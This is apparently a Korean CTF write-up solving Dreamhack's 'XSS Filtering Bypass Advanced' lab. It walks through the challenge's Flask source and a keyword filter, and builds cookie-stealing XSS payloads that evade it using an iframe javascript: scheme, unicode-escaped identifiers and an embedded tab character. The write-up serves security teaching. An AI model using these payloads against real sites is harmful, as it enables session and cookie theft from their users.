XSS 필터링 우회
드림핵 434번을 풀면서 XSS를 우회하는 방법을 알아본다
Dreamhack #434 - XSS Filtering Bypass Advanced
vuln(xss) page, memo, flag 세 개의 페이지가 있다
vuln(xss) page에 들어가면 /vuln?param=%3Cimg%20src=https://dreamhack.io/assets/img/logo.0a8aabe.svg%3E
로 리다이렉트된다
URL 디코딩을 해보면 /vuln?param=<img src=https://dreamhack.io/assets/img/logo.0a8aabe.svg>
이다
1
2
3
4
5
@app.route("/vuln")
def vuln():
param = request.args.get("param", "")
param = xss_filter(param)
return param
param
파라미터에 페이로드를 받고 xss_filter()
함수로 필터링 과정을 거치는 것 같다
1
2
3
4
5
6
7
8
9
10
11
12
def xss_filter(text):
_filter = ["script", "on", "javascript"]
for f in _filter:
if f in text.lower():
return "filtered!!!"
advanced_filter = ["window", "self", "this", "document", "location", "(", ")", "&#"]
for f in advanced_filter:
if f in text.lower():
return "filtered!!!"
return text
xss_filter()
에서는 웬만한 키워드들은 전부 필터링하고 있다
문제 제목이 XSS Bypass이니 이 필터를 우회해야 하는데 벌써부터 막막하다..
천천히 정리부터 해보면 /vuln
에 param
으로 페이로드가 들어가면 필터링 작업이 진행된다
필터에 걸리면 “filtered!!!” 문구를 출력한다
다음으로 memo 페이지를 확인해보자
들어가면 /memo?memo=hello
경로로 리다이렉트되는데 새로고침을 할 때마다 필드에 hello라는 문자열이 추가되는 것으로 보아 memo
파라미터로 받는 문자열을 필드에 적는 것을 알 수 있다
1
2
3
4
5
6
7
8
memo_text = ""
@app.route("/memo")
def memo():
global memo_text
text = request.args.get("memo", "")
memo_text += text + "\n"
return render_template("memo.html", memo=memo_text)
코드에서도 확인할 수 있다
아마 플래그가 이 필드에 적히도록 memo
파라미터에 플래그가 들어가도록 해야 하지 않을까 싶다..
flag 페이지에는 폼과 제출 버튼이 있다
외관상 로컬호스트에서 vuln?param=
으로 파라미터 값을 집어넣을 수 있는 것 같다
제출을 눌렀을 때 어떻게 동작하는지는 직접 코드를 봐야 알 것 같다
1
2
3
4
5
6
7
8
9
10
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param")
if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
폼에 값을 입력하고 제출을 누르면 POST 요청이 간다
param
에 입력값을 저장하고 check_xss()
함수에 인자로 함께 보낸다
인자로는 플래그 값이 포함된 딕셔너리가 함께 전달된다
1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
check_xss()
에서 인자로 전달되는 딕셔너리는 cookie
라는 이름으로 들어간다
로컬호스트에서 /vuln?param={urllib.parse.quote(param)}
URL 경로가 cookie
와 함께 read_url()
로 전달된다
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
문제 파일을 Docker로 안전하게 빌드하기 위해 코드를 약간 수정했지만 풀이 방향은 같다
read_url()
함수는 셀레니움을 사용하여 로컬호스트에서 쿠키를 달고 url
에 방문한다
천천히 정리해보고 뭘 해야 할 지 생각해보자
플래그를 찾아내는 것이 최종 목표이다
플래그는 flag 페이지에서 제출 버튼을 눌렀을 때 서버의 백그라운드에서 플래그가 저장된 쿠키를 가지고 특정 URL로 이동한다
그 특정 URL에서 XSS든 뭐든 뭐 어떻게 해가지고 서버가 쿠키를 memo에 적도록 만들어야 한다
그러려면 필터링 우회하는 과정은 필수적이고 이게 문제의 본질인 것이다
우회
vuln 페이지에 들어가 주소창에서 param
파라미터 값을 주면서 진행해볼 수도 있을 것 같다
하지만 /vuln
에서 쓰이는 함수인 xss_filter()
가 플래그와 관련되어 있지는 않다..
사용하게 된다면 필터링 우회 검증용으로 쓰일지도 모르겠다
플래그를 들고 작동하는게 flag 페이지 뿐이라서 그곳에서 무언갈 해야하는 것 같다
1
2
3
def check_xss(param, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
return read_url(url, cookie)
flag 페이지에서 폼을 입력받으면 urllib.parse.quote()
함수로 보내진다
해당 함수는 %xx
이스케이프를 사용하여 문자열의 특수 문자를 치환한다
글자, 숫자, 일부 문자(_
, .
, -
, ~
)는 치환되지 않는다
예를 들어, quote("/Spa ce")
는 /Spa%20ce
로 치환된다
그렇게 param
파라미터 값을 받고 나면 그 값이 xss_filter()
로 들어가서 필터링이 된다
필터링이 되지 않도록 param
에 적절한 페이로드를 작성해서 셀레니움이 /memo?memo={쿠키}
로 이동하게 하여 memo 페이지에 쿠키를 써지도록 하면 되겠다
1
location.href='/memo?memo='+parent.document.cookie;
쿠키를 갖고 특정 페이지로 이동할 수 있도록 하는 자바스크립트 코드를 로드할 수 있도록 하면 되겠다
풀이
iframe src 사용
iframe
태그를 사용하여 자바스크립트 코드를 실행할 수 있다
속성으로 src
가 들어가는데 삽입할 페이지의 URL이 들어간다
악의적인 자바스크립트가 들어있는 페이지를 만들고 그 페이지의 URL을 줘볼까??
하지만 이러면 쿠키를 받아올 수 없다..
설령 가져올 수 있다고 해도 SOP나 CSP 등 정책까지 우회해야 한다
1
<iframe src="javascript:alert('1')">
src
에 URL이 아닌 javascript:
스킴을 주면 URL로 인식하지 않고 자바스크립트 코드로 인식하여 실행하게 된다
본 블로그의 좌측 하단 이메일 아이콘에 커서를 올려두면 URL이 아니라 javascript:
로 시작하는 경로가 나올 것이다
<a href="javascript:">
클릭해보면 페이지로 이동하지 않고 지정된 스크립트를 실행하는데 이와 같은 원리이다
1
<iframe src="javascript:location.href='/memo?memo='+parent.document.cookie">
이런 페이로드를 보내면 될 것 같다
하지만 필터링까지 우회해야 한다
parent
iframe
은 문서 내에 문서를 하나 더 삽입하는 것인데 자식 문서가 부모 문서의 쿠키를 가져오도록parent
를 사용한다
하지만 본 문제에서는 크로미움 셀레니움이 사용되는데 자식 문서가 부모 문서를 상속하여 쿠키 참조가 가능하기 때문에parent
없이document.cookie
만 사용해도 된다
1
locati\u006fn.href='memo?memo='+d\u006fcument.cookie
자바스크립트에서는 이스케이프 시퀀스로 특수문자나 입력 불가능한 문자를 표현하기도 한다
16진수로 표시된 유니코드 문자 \u006f
는 문자 o
로 해석되서 locati\u006f
는 실행될 때 location
으로 인식된다
어찌됐든 인자로는 locati\u006fn
으로 들어가고 실행될 때는 location
과 같은 동작을 한다
때문에 자바스크립트의 유니코드 이스케이프 시퀀스를 통해서 필터링을 우회할 수 있다
1
<iframe src="javascript:locati\u006fn.href='/memo?memo='+parent.d\u006fcument.cookie">
대신 여전히 javascript:
가 필터링에 걸린다
javascript:
는 자바스크립트 코드가 아닌 자바스크립트 스킴이기 때문에 유니코드 문자를 사용한 우회가 불가능하다
1
<iframe src="java script:location.href='/memo?memo='+parent.document.cookie">
URL에서 ASCII 제어 문자 0x00-0x1f는 사용할 수 없다
urllib.parse
는 URL의 탭 문자를 제거한다
때문에 탭 문자를 입력으로 주면 필터링에 걸리지 않고 실행될 때는 탭 문자가 제거되어서 우리가 원하는 동작을 수행하게 된다
참고로 탭 문자는 제어 문자이기 때문에 주소창에서 직접 탭 문자를 주는 것은 불가능하다
때문에 flag 페이지의 폼을 이용하여 탭 문자를 포함해 보내면 된다
(애초에 flag 페이제를 사용해야만 풀 수 있다)
그러면 memo 페이지에 플래그가 출력된다
굳이 memo가 아니라 드림핵 리퀘스트 서버 같은 곳으로 보내도 되긴 한다
iframe
말고img
태그로 onerror를 사용할 수는 없을까??
iframe
은 문서(document)를 로드한다
때문에src
에javacript:
스킴을 넣으면 자바스크립트 문서를 넣는 것처럼 동작하게 된다
img
는 이미지 파일 등 리소스를 로드하는 태그이기 때문에src
로javascript:
스킴이 들어오면 무시하거나 에러 처리를 한다